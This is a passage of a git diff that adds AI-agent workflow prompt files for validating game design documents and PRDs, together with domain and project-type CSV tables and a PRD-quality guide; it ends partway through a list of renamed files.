+**Success Metrics:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Out of Scope:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+**Assumptions and Dependencies:** [Complete/Incomplete/Missing]
+{If incomplete or missing, note specific gaps}
+
+### Section-Specific Completeness
+
+**Game Pillars:** [≥3 / <3 / none]
+{If fewer than 3, note which are weak or missing}
+
+**Core Gameplay Loop:** [All steps documented / Partial / Missing]
+{If partial, note missing steps}
+
+**Mechanics Concrete Values:** [All / Some / None] have concrete values
+{If Some or None, note which mechanics lack values}
+
+**Success Metrics Target+Method:** [All / Some / None] have both
+{If Some or None, note which metrics are incomplete}
+
+**Epics Scope+Stories:** [All / Some / None] have both
+{If Some or None, note which epics are incomplete}
+
+### Frontmatter Completeness
+
+**stepsCompleted:** [Present/Missing]
+**classification.gameType:** [Present/Missing]
+**classification.platforms:** [Present/Missing]
+**classification.genreComplexity:** [Present/Missing]
+**inputDocuments:** [Present/Missing]
+**date:** [Present/Missing]
+
+**Frontmatter Completeness:** {complete_fields}/6
+
+### Completeness Summary
+
+**Overall Completeness:** {percentage}% ({complete_sections}/{total_sections})
+
+**Critical Gaps:** [count] [list if any]
+**Minor Gaps:** [count] [list if any]
+
+**Severity:** [Critical if template variables remain or critical sections missing, Warning if minor gaps, Pass if complete]
+
+**Recommendation:**
+[If Critical] "GDD has completeness gaps that must be addressed before use. Fix template variables and complete missing sections."
+[If Warning] "GDD has minor completeness gaps. Address them for complete documentation."
+[If Pass] "GDD is complete with all required sections and content present."
+```
+
+### 4. Display Progress and Auto-Proceed
+
+Display: "**Completeness Validation Complete**
+
+Overall Completeness: {percentage}% ({severity})
+
+**Proceeding to final step...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-13-report-complete.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Scanned for template variables systematically (including unfilled GAME_TYPE_SPECIFIC_SECTIONS)
+- Validated each section for required content
+- Validated section-specific completeness (pillars, loop, mechanics values, metrics, epics)
+- Validated frontmatter completeness
+- Completeness matrix built with all checks
+- Severity assessed correctly
+- Findings reported to validation report
+- Auto-proceeds to final step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not scanning for template variables
+- Missing section-specific completeness checks
+- Not validating frontmatter
+- Not building completeness matrix
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** Final gate to ensure the document is complete before presenting findings. Template variables or critical gaps must be fixed before the GDD is usable downstream.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-13-report-complete.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-13-report-complete.md
new file mode 100644
index 0000000..cc5e68d
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-13-report-complete.md
@@ -0,0 +1,257 @@
+---
+name: 'step-v-13-report-complete'
+description: 'Validation Report Complete - Finalize report, summarize findings, present to user, offer next steps'
+
+# File references (ONLY variables used in this step)
+validationReportPath: '{validation_report_path}'
+gddFile: '{gdd_file_path}'
+editWorkflow: 'skill:gds-edit-gdd'
+helpWorkflow: 'skill:bmad-help'
+---
+
+# Step V-13: Validation Report Complete
+
+## STEP GOAL:
+
+Finalize the validation report, summarize all findings from steps 1-12, present the summary to the user conversationally, and offer actionable next steps. The report title prefix is "GDD Validation Report".
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in collaborative dialogue, not command-response
+- ✅ You bring synthesis and summary expertise
+- ✅ This is the FINAL step - requires user interaction
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on summarizing findings and presenting options
+- 🚫 FORBIDDEN to perform additional validation
+- 💬 Approach: Conversational summary with clear next steps
+- 🚪 This is the final step - no next step after this
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Load complete validation report
+- 🎯 Summarize all findings from steps 1-12
+- 🎯 Update report frontmatter with final status
+- 💬 Present summary to user conversationally
+- 💬 Offer menu options for next actions
+- 🚫 FORBIDDEN to proceed without user selection
+
+## CONTEXT BOUNDARIES:
+
+- Available context: Complete validation report with findings from all validation steps
+- Focus: Summary and presentation only (no new validation)
+- Limits: Don't add new findings, just synthesize existing
+- Dependencies: Steps 1-12 completed - all validation checks done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Load Complete Validation Report
+
+Read the entire validation report from {validationReportPath}
+
+Extract all findings from:
+
+- Format Detection (Step 2)
+- Parity Analysis (Step 2B, if applicable)
+- Information Density (Step 3)
+- Game Brief Coverage (Step 4)
+- Measurability (Step 5)
+- Traceability (Step 6)
+- Implementation Leakage (Step 7)
+- Genre Compliance (Step 8)
+- Game-Type Compliance (Step 9)
+- SMART Design-Goals (Step 10)
+- Holistic Quality (Step 11)
+- Completeness (Step 12)
+
+### 2. Update Report Frontmatter with Final Status
+
+Update validation report frontmatter:
+
+```yaml
+---
+validationTarget: '{gdd_path}'
+validationDate: '{current_date}'
+inputDocuments: [list of documents]
+validationStepsCompleted:
+  [
+    'step-v-01-discovery',
+    'step-v-02-format-detection',
+    'step-v-03-density-validation',
+    'step-v-04-brief-coverage-validation',
+    'step-v-05-measurability-validation',
+    'step-v-06-traceability-validation',
+    'step-v-07-implementation-leakage-validation',
+    'step-v-08-genre-compliance-validation',
+    'step-v-09-game-type-validation',
+    'step-v-10-smart-validation',
+    'step-v-11-holistic-quality-validation',
+    'step-v-12-completeness-validation',
+  ]
+validationStatus: COMPLETE
+holisticQualityRating: '{rating from step 11}'
+overallStatus: '{Pass/Warning/Critical based on all findings}'
+---
+```
+
+Also ensure the report body's main heading is `# GDD Validation Report` (prefix "GDD Validation Report" as required).
+
+### 3. Create Summary of Findings
+
+**Overall Status:**
+
+- Determine from all validation findings
+- **Pass:** All critical checks pass, minor warnings acceptable
+- **Warning:** Some issues found but GDD is usable
+- **Critical:** Major issues that prevent GDD from being fit for purpose
+
+**Quick Results Table:**
+
+- Format: [classification]
+- Information Density: [severity]
+- Measurability: [severity]
+- Traceability: [severity]
+- Implementation Leakage: [severity]
+- Genre Compliance: [status]
+- Game-Type Compliance: [compliance score]
+- SMART Design-Goals: [percentage]
+- Holistic Quality: [rating/5]
+- Completeness: [percentage]
+
+**Critical Issues:** List from all validation steps
+**Warnings:** List from all validation steps
+**Strengths:** List positives from all validation steps
+
+**Holistic Quality Rating:** From step 11
+**Top 3 Improvements:** From step 11
+
+**Recommendation:** Based on overall status
+
+### 4. Present Summary to User Conversationally
+
+Display:
+
+"**✓ GDD Validation Complete**
+
+**Overall Status:** {Pass/Warning/Critical}
+
+**Quick Results:**
+{Present quick results table with key findings}
+
+**Critical Issues:** {count or "None"}
+{If any, list briefly}
+
+**Warnings:** {count or "None"}
+{If any, list briefly}
+
+**Strengths:**
+{List key strengths}
+
+**Holistic Quality:** {rating}/5 - {label}
+
+**Top 3 Improvements:**
+
+1. {Improvement 1}
+2. {Improvement 2}
+3. {Improvement 3}
+
+**Recommendation:**
+{Based on overall status:
+
+- Pass: "GDD is in good shape. Address minor improvements to make it great."
+- Warning: "GDD is usable but has issues that should be addressed. Review warnings and improve where needed."
+- Critical: "GDD has significant issues that should be fixed before use. Focus on critical issues above."}
+
+**What would you like to do next?**"
+
+### 5. Present MENU OPTIONS
+
+Display:
+
+**[R] Review Detailed Findings** - Walk through validation report section by section
+**[E] Use Edit Workflow** - Hand off to `gds-edit-gdd` for systematic improvements using this report
+**[F] Fix Simpler Items** - Immediate fixes for simple issues (anti-patterns, leakage, missing headers)
+**[X] Exit** - Exit and Suggest Next Steps.
+
+#### EXECUTION RULES:
+
+- ALWAYS halt and wait for user input after presenting menu
+- Only proceed based on user selection
+
+#### Menu Handling Logic:
+
+- **IF R (Review Detailed Findings):**
+  - Walk through validation report section by section
+  - Present findings from each validation step
+  - Allow user to ask questions
+  - After review, return to menu
+
+- **IF E (Use Edit Workflow):**
+  - Explain: "The `gds-edit-gdd` skill can use this validation report to systematically address issues. Edit mode will guide you through discovering what to edit, reviewing the GDD, and applying targeted improvements."
+  - Offer: "Would you like to launch Edit mode now? It will help you fix validation findings systematically."
+  - If yes: Invoke the `gds-edit-gdd` skill ({editWorkflow})
+  - If no: Return to menu
+
+- **IF F (Fix Simpler Items):**
+  - Offer immediate fixes for:
+    - Template variables (fill in with appropriate content)
+    - Conversational filler and pitch-deck language (remove wordy phrases)
+    - Implementation / engine leakage (remove engine internals from mechanics and specs)
+    - Missing section headers (add ## headers)
+  - Ask: "Which simple fixes would you like me to make?"
+  - If user specifies fixes, make them and update validation report
+  - Return to menu
+
+- **IF X (Exit):**
+  - Display: "**Validation Report Saved:** {validationReportPath}"
+  - Display: "**Summary:** {overall status} - {recommendation}"
+  - GDD Validation complete. Invoke the `bmad-help` skill ({helpWorkflow}).
+
+- **IF Any other:** Help user, then redisplay menu
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Complete validation report loaded successfully
+- All findings from steps 1-12 summarized
+- Report frontmatter updated with final status
+- Report title confirmed as "GDD Validation Report"
+- Overall status determined correctly (Pass/Warning/Critical)
+- Quick results table presented
+- Critical issues, warnings, and strengths listed
+- Holistic quality rating included
+- Top 3 improvements presented
+- Clear recommendation provided
+- Menu options presented with clear explanations
+- User can review findings, hand off to edit workflow, or exit
+
+### ❌ SYSTEM FAILURE:
+
+- Not loading complete validation report
+- Missing summary of findings
+- Not updating report frontmatter
+- Not using "GDD Validation Report" title
+- Not determining overall status
+- Missing menu options
+- Unclear next steps
+
+**Master Rule:** User needs a clear summary and actionable next steps. The `gds-edit-gdd` workflow is best for complex issues; immediate fixes are available for simpler ones.
diff --git a/plugins/bmad/skills/gds-validate-prd/SKILL.md b/plugins/bmad/skills/gds-validate-prd/SKILL.md
new file mode 100644
index 0000000..0a4b5a4
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-prd/SKILL.md
@@ -0,0 +1,6 @@
+---
+name: gds-validate-prd
+description: 'Validate a PRD against standards for external tool compatibility. Use when the user says "validate this PRD" or "run PRD validation".'
+---
+
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-validate-prd/data/domain-complexity.csv b/plugins/bmad/skills/gds-validate-prd/data/domain-complexity.csv
new file mode 100644
index 0000000..60a7b50
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-prd/data/domain-complexity.csv
@@ -0,0 +1,15 @@
+domain,signals,complexity,key_concerns,required_knowledge,suggested_workflow,web_searches,special_sections
+healthcare,"medical,diagnostic,clinical,FDA,patient,treatment,HIPAA,therapy,pharma,drug",high,"FDA approval;Clinical validation;HIPAA compliance;Patient safety;Medical device classification;Liability","Regulatory pathways;Clinical trial design;Medical standards;Data privacy;Integration requirements","domain-research","FDA software medical device guidance {date};HIPAA compliance software requirements;Medical software standards {date};Clinical validation software","clinical_requirements;regulatory_pathway;validation_methodology;safety_measures"
+fintech,"payment,banking,trading,investment,crypto,wallet,transaction,KYC,AML,funds,fintech",high,"Regional compliance;Security standards;Audit requirements;Fraud prevention;Data protection","KYC/AML requirements;PCI DSS;Open banking;Regional laws (US/EU/APAC);Crypto regulations","domain-research","fintech regulations {date};payment processing compliance {date};open banking API standards;cryptocurrency regulations {date}","compliance_matrix;security_architecture;audit_requirements;fraud_prevention"
+govtech,"government,federal,civic,public sector,citizen,municipal,voting",high,"Procurement rules;Security clearance;Accessibility (508);FedRAMP;Privacy;Transparency","Government procurement;Security frameworks;Accessibility standards;Privacy laws;Open data requirements","domain-research","government software procurement {date};FedRAMP compliance requirements;section 508 accessibility;government security standards","procurement_compliance;security_clearance;accessibility_standards;transparency_requirements"
+edtech,"education,learning,student,teacher,curriculum,assessment,K-12,university,LMS",medium,"Student privacy (COPPA/FERPA);Accessibility;Content moderation;Age verification;Curriculum standards","Educational privacy laws;Learning standards;Accessibility requirements;Content guidelines;Assessment validity","domain-research","educational software privacy {date};COPPA FERPA compliance;WCAG education requirements;learning management standards","privacy_compliance;content_guidelines;accessibility_features;curriculum_alignment"
+aerospace,"aircraft,spacecraft,aviation,drone,satellite,propulsion,flight,radar,navigation",high,"Safety certification;DO-178C compliance;Performance validation;Simulation accuracy;Export controls","Aviation standards;Safety analysis;Simulation validation;ITAR/export controls;Performance requirements","domain-research + technical-model","DO-178C software certification;aerospace simulation standards {date};ITAR export controls software;aviation safety requirements","safety_certification;simulation_validation;performance_requirements;export_compliance"
+automotive,"vehicle,car,autonomous,ADAS,automotive,driving,EV,charging",high,"Safety standards;ISO 26262;V2X communication;Real-time requirements;Certification","Automotive standards;Functional safety;V2X protocols;Real-time systems;Testing requirements","domain-research","ISO 26262 automotive software;automotive safety standards {date};V2X communication protocols;EV charging standards","safety_standards;functional_safety;communication_protocols;certification_requirements"
+scientific,"research,algorithm,simulation,modeling,computational,analysis,data science,ML,AI",medium,"Reproducibility;Validation methodology;Peer review;Performance;Accuracy;Computational resources","Scientific method;Statistical validity;Computational requirements;Domain expertise;Publication standards","technical-model","scientific computing best practices {date};research reproducibility standards;computational modeling validation;peer review software","validation_methodology;accuracy_metrics;reproducibility_plan;computational_requirements"
+legaltech,"legal,law,contract,compliance,litigation,patent,attorney,court",high,"Legal ethics;Bar regulations;Data retention;Attorney-client privilege;Court system integration","Legal practice rules;Ethics requirements;Court filing systems;Document standards;Confidentiality","domain-research","legal technology ethics {date};law practice management software requirements;court filing system standards;attorney client privilege technology","ethics_compliance;data_retention;confidentiality_measures;court_integration"
+insuretech,"insurance,claims,underwriting,actuarial,policy,risk,premium",high,"Insurance regulations;Actuarial standards;Data privacy;Fraud detection;State compliance","Insurance regulations by state;Actuarial methods;Risk modeling;Claims processing;Regulatory reporting","domain-research","insurance software regulations {date};actuarial standards software;insurance fraud detection;state insurance compliance","regulatory_requirements;risk_modeling;fraud_detection;reporting_compliance"
+energy,"energy,utility,grid,solar,wind,power,electricity,oil,gas",high,"Grid compliance;NERC standards;Environmental regulations;Safety requirements;Real-time operations","Energy regulations;Grid standards;Environmental compliance;Safety protocols;SCADA systems","domain-research","energy sector software compliance {date};NERC CIP standards;smart grid requirements;renewable energy software standards","grid_compliance;safety_protocols;environmental_compliance;operational_requirements"
+process_control,"industrial automation,process control,PLC,SCADA,DCS,HMI,operational technology,OT,control system,cyberphysical,MES,historian,instrumentation,I&C,P&ID",high,"Functional safety;OT cybersecurity;Real-time control requirements;Legacy system integration;Process safety and hazard analysis;Environmental compliance and permitting;Engineering authority and PE requirements","Functional safety standards;OT security frameworks;Industrial protocols;Process control architecture;Plant reliability and maintainability","domain-research + technical-model","IEC 62443 OT cybersecurity requirements {date};functional safety software requirements {date};industrial process control architecture;ISA-95 manufacturing integration","functional_safety;ot_security;process_requirements;engineering_authority"
+building_automation,"building automation,BAS,BMS,HVAC,smart building,lighting control,fire alarm,fire protection,fire suppression,life safety,elevator,access control,DDC,energy management,sequence of operations,commissioning",high,"Life safety codes;Building energy standards;Multi-trade coordination and interoperability;Commissioning and ongoing operational performance;Indoor environmental quality and occupant comfort;Engineering authority and PE requirements","Building automation protocols;HVAC and mechanical controls;Fire alarm, fire protection, and life safety design;Commissioning process and sequence of operations;Building codes and energy standards","domain-research","smart building software architecture {date};BACnet integration best practices;building automation cybersecurity {date};ASHRAE building standards","life_safety;energy_compliance;commissioning_requirements;engineering_authority"
+gaming,"game,player,gameplay,level,character,multiplayer,quest",redirect,"REDIRECT TO GAME WORKFLOWS","Game design","game-brief","NA","NA"
+general,"",low,"Standard requirements;Basic security;User experience;Performance","General software practices","continue","software development best practices {date}","standard_requirements"
\ No newline at end of file
diff --git a/plugins/bmad/skills/gds-validate-prd/data/prd-purpose.md b/plugins/bmad/skills/gds-validate-prd/data/prd-purpose.md
new file mode 100644
index 0000000..d8b334b
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-prd/data/prd-purpose.md
@@ -0,0 +1,197 @@
+# BMAD PRD Purpose
+
+**The PRD is the top of the required funnel that feeds all subsequent product development work in the BMad Method.**
+
+---
+
+## What is a BMAD PRD?
+
+A dual-audience document serving:
+1. **Human Product Managers and builders** - Vision, strategy, stakeholder communication
+2. **LLM Downstream Consumption** - UX Design → Architecture → Epics → Development AI Agents
+
+Each successive document becomes more AI-tailored and granular.
+
+---
+
+## Core Philosophy: Information Density
+
+**High Signal-to-Noise Ratio**
+
+Every sentence must carry information weight. LLMs consume precise, dense content efficiently.
+
+**Anti-Patterns (Eliminate These):**
+- ❌ "The system will allow users to..." → ✅ "Users can..."
+- ❌ "It is important to note that..." → ✅ State the fact directly
+- ❌ "In order to..." → ✅ "To..."
+- ❌ Conversational filler and padding → ✅ Direct, concise statements
+
+**Goal:** Maximum information per word. Zero fluff.
+
+---
+
+## The Traceability Chain
+
+**PRD starts the chain:**
+```
+Vision → Success Criteria → User Journeys → Functional Requirements → (future: User Stories)
+```
+
+**In the PRD, establish:**
+- Vision → Success Criteria alignment
+- Success Criteria → User Journey coverage
+- User Journey → Functional Requirement mapping
+- All requirements traceable to user needs
+
+**Why:** Each downstream artifact (UX, Architecture, Epics, Stories) must trace back to documented user needs and business objectives. This chain ensures we build the right thing.
+
+---
+
+## What Makes Great Functional Requirements?
+
+### FRs are Capabilities, Not Implementation
+
+**Good FR:** "Users can reset their password via email link"
+**Bad FR:** "System sends JWT via email and validates with database" (implementation leakage)
+
+**Good FR:** "Dashboard loads in under 2 seconds for 95th percentile"
+**Bad FR:** "Fast loading time" (subjective, unmeasurable)
+
+### SMART Quality Criteria
+
+**Specific:** Clear, precisely defined capability
+**Measurable:** Quantifiable with test criteria
+**Attainable:** Realistic within constraints
+**Relevant:** Aligns with business objectives
+**Traceable:** Links to source (executive summary or user journey)
+
+### FR Anti-Patterns
+
+**Subjective Adjectives:**
+- ❌ "easy to use", "intuitive", "user-friendly", "fast", "responsive"
+- ✅ Use metrics: "completes task in under 3 clicks", "loads in under 2 seconds"
+
+**Implementation Leakage:**
+- ❌ Technology names, specific libraries, implementation details
+- ✅ Focus on capability and measurable outcomes
+
+**Vague Quantifiers:**
+- ❌ "multiple users", "several options", "various formats"
+- ✅ "up to 100 concurrent users", "3-5 options", "PDF, DOCX, TXT formats"
+
+**Missing Test Criteria:**
+- ❌ "The system shall provide notifications"
+- ✅ "The system shall send email notifications within 30 seconds of trigger event"
+
+---
+
+## What Makes Great Non-Functional Requirements?
+
+### NFRs Must Be Measurable
+
+**Template:**
+```
+"The system shall [metric] [condition] [measurement method]"
+```
+
+**Examples:**
+- ✅ "The system shall respond to API requests in under 200ms for 95th percentile as measured by APM monitoring"
+- ✅ "The system shall maintain 99.9% uptime during business hours as measured by cloud provider SLA"
+- ✅ "The system shall support 10,000 concurrent users as measured by load testing"
+
+### NFR Anti-Patterns
+
+**Unmeasurable Claims:**
+- ❌ "The system shall be scalable" → ✅ "The system shall handle 10x load growth through horizontal scaling"
+- ❌ "High availability required" → ✅ "99.9% uptime as measured by cloud provider SLA"
+
+**Missing Context:**
+- ❌ "Response time under 1 second" → ✅ "API response time under 1 second for 95th percentile under normal load"
+
+---
+
+## Domain-Specific Requirements
+
+**Auto-Detect and Enforce Based on Project Context**
+
+Certain industries have mandatory requirements that must be present:
+
+- **Healthcare:** HIPAA Privacy & Security Rules, PHI encryption, audit logging, MFA
+- **Fintech:** PCI-DSS Level 1, AML/KYC compliance, SOX controls, financial audit trails
+- **GovTech:** NIST framework, Section 508 accessibility (WCAG 2.1 AA), FedRAMP, data residency
+- **E-Commerce:** PCI-DSS for payments, inventory accuracy, tax calculation by jurisdiction
+
+**Why:** Missing these requirements in the PRD means they'll be missed in architecture and implementation, creating expensive rework. During PRD creation there is a step to cover this - during validation we want to make sure it was covered. For this purpose steps will utilize a domain-complexity.csv and project-types.csv.
+
+---
+
+## Document Structure (Markdown, Human-Readable)
+
+### Required Sections
+1. **Executive Summary** - Vision, differentiator, target users
+2. **Success Criteria** - Measurable outcomes (SMART)
+3. **Product Scope** - MVP, Growth, Vision phases
+4. **User Journeys** - Comprehensive coverage
+5. **Domain Requirements** - Industry-specific compliance (if applicable)
+6. **Innovation Analysis** - Competitive differentiation (if applicable)
+7. **Project-Type Requirements** - Platform-specific needs
+8. **Functional Requirements** - Capability contract (FRs)
+9. **Non-Functional Requirements** - Quality attributes (NFRs)
+
+### Formatting for Dual Consumption
+
+**For Humans:**
+- Clear, professional language
+- Logical flow from vision to requirements
+- Easy for stakeholders to review and approve
+
+**For LLMs:**
+- ## Level 2 headers for all main sections (enables extraction)
+- Consistent structure and patterns
+- Precise, testable language
+- High information density
+
+---
+
+## Downstream Impact
+
+**How the PRD Feeds Next Artifacts:**
+
+**UX Design:**
+- User journeys → interaction flows
+- FRs → design requirements
+- Success criteria → UX metrics
+
+**Architecture:**
+- FRs → system capabilities
+- NFRs → architecture decisions
+- Domain requirements → compliance architecture
+- Project-type requirements → platform choices
+
+**Epics & Stories (created after architecture):**
+- FRs → user stories (1 FR could map to 1-3 stories potentially)
+- Acceptance criteria → story acceptance tests
+- Priority → sprint sequencing
+- Traceability → stories map back to vision
+
+**Development AI Agents:**
+- Precise requirements → implementation clarity
+- Test criteria → automated test generation
+- Domain requirements → compliance enforcement
+- Measurable NFRs → performance targets
+
+---
+
+## Summary: What Makes a Great BMAD PRD?
+
+✅ **High Information Density** - Every sentence carries weight, zero fluff
+✅ **Measurable Requirements** - All FRs and NFRs are testable with specific criteria
+✅ **Clear Traceability** - Each requirement links to user need and business objective
+✅ **Domain Awareness** - Industry-specific requirements auto-detected and included
+✅ **Zero Anti-Patterns** - No subjective adjectives, implementation leakage, or vague quantifiers
+✅ **Dual Audience Optimized** - Human-readable AND LLM-consumable
+✅ **Markdown Format** - Professional, clean, accessible to all stakeholders
+
+---
+
+**Remember:** The PRD is the foundation. Quality here ripples through every subsequent phase. A dense, precise, well-traced PRD makes UX design, architecture, epic breakdown, and AI development dramatically more effective.
diff --git a/plugins/bmad/skills/gds-validate-prd/data/project-types.csv b/plugins/bmad/skills/gds-validate-prd/data/project-types.csv
new file mode 100644
index 0000000..6f71c51
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-prd/data/project-types.csv
@@ -0,0 +1,11 @@
+project_type,detection_signals,key_questions,required_sections,skip_sections,web_search_triggers,innovation_signals
+api_backend,"API,REST,GraphQL,backend,service,endpoints","Endpoints needed?;Authentication method?;Data formats?;Rate limits?;Versioning?;SDK needed?","endpoint_specs;auth_model;data_schemas;error_codes;rate_limits;api_docs","ux_ui;visual_design;user_journeys","framework best practices;OpenAPI standards","API composition;New protocol"
+mobile_app,"iOS,Android,app,mobile,iPhone,iPad","Native or cross-platform?;Offline needed?;Push notifications?;Device features?;Store compliance?","platform_reqs;device_permissions;offline_mode;push_strategy;store_compliance","desktop_features;cli_commands","app store guidelines;platform requirements","Gesture innovation;AR/VR features"
+saas_b2b,"SaaS,B2B,platform,dashboard,teams,enterprise","Multi-tenant?;Permission model?;Subscription tiers?;Integrations?;Compliance?","tenant_model;rbac_matrix;subscription_tiers;integration_list;compliance_reqs","cli_interface;mobile_first","compliance requirements;integration guides","Workflow automation;AI agents"
+developer_tool,"SDK,library,package,npm,pip,framework","Language support?;Package managers?;IDE integration?;Documentation?;Examples?","language_matrix;installation_methods;api_surface;code_examples;migration_guide","visual_design;store_compliance","package manager best practices;API design patterns","New paradigm;DSL creation"
+cli_tool,"CLI,command,terminal,bash,script","Interactive or scriptable?;Output formats?;Config method?;Shell completion?","command_structure;output_formats;config_schema;scripting_support","visual_design;ux_principles;touch_interactions","CLI design patterns;shell integration","Natural language CLI;AI commands"
+web_app,"website,webapp,browser,SPA,PWA","SPA or MPA?;Browser support?;SEO needed?;Real-time?;Accessibility?","browser_matrix;responsive_design;performance_targets;seo_strategy;accessibility_level","native_features;cli_commands","web standards;WCAG guidelines","New interaction;WebAssembly use"
+game,"game,player,gameplay,level,character","REDIRECT TO USE THE BMad Method Game Module Agent and Workflows - HALT","game-brief;GDD","most_sections","game design patterns","Novel mechanics;Genre mixing"
+desktop_app,"desktop,Windows,Mac,Linux,native","Cross-platform?;Auto-update?;System integration?;Offline?","platform_support;system_integration;update_strategy;offline_capabilities","web_seo;mobile_features","desktop guidelines;platform requirements","Desktop AI;System automation"
+iot_embedded,"IoT,embedded,device,sensor,hardware","Hardware specs?;Connectivity?;Power constraints?;Security?;OTA updates?","hardware_reqs;connectivity_protocol;power_profile;security_model;update_mechanism","visual_ui;browser_support","IoT standards;protocol specs","Edge AI;New sensors"
+blockchain_web3,"blockchain,crypto,DeFi,NFT,smart contract","Chain selection?;Wallet integration?;Gas optimization?;Security audit?","chain_specs;wallet_support;smart_contracts;security_audit;gas_optimization","traditional_auth;centralized_db","blockchain standards;security patterns","Novel tokenomics;DAO structure"
\ No newline at end of file
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-01-discovery.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-01-discovery.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-01-discovery.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-01-discovery.md
index e10611c..c72cf49 100644
--- a/plugins/bmad/skills/create-prd/steps-v/step-v-01-discovery.md
+++ b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-01-discovery.md
@@ -5,7 +5,7 @@ description: 'Document Discovery & Confirmation - Handle fresh context validatio
 # File references (ONLY variables used in this step)
 nextStepFile: './step-v-02-format-detection.md'
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 prdPurpose: '../data/prd-purpose.md'
 ---
 
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-02-format-detection.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-02-format-detection.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-02-format-detection.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-02-format-detection.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-02b-parity-check.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-02b-parity-check.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-02b-parity-check.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-02b-parity-check.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-03-density-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-03-density-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-03-density-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-03-density-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-04-brief-coverage-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-04-brief-coverage-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-04-brief-coverage-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-04-brief-coverage-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-05-measurability-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-05-measurability-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-05-measurability-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-05-measurability-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-06-traceability-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-06-traceability-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-06-traceability-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-06-traceability-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-07-implementation-leakage-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-07-implementation-leakage-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-07-implementation-leakage-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-07-implementation-leakage-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-08-domain-compliance-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-08-domain-compliance-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-08-domain-compliance-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-08-domain-compliance-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-09-project-type-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-09-project-type-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-09-project-type-validation.md
rename to plugins/bmad/skills/gds-validate-prd/steps-v/step-v-09-project-type-validation.md
diff --git a/plugins/bmad/skills/create-prd/steps-v/step-v-10-smart-validation.md b/plugins/bmad/skills/gds-validate-prd/steps-v/step-v-10-smart-validation.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/steps-v/step-v-10-smart-validation.md
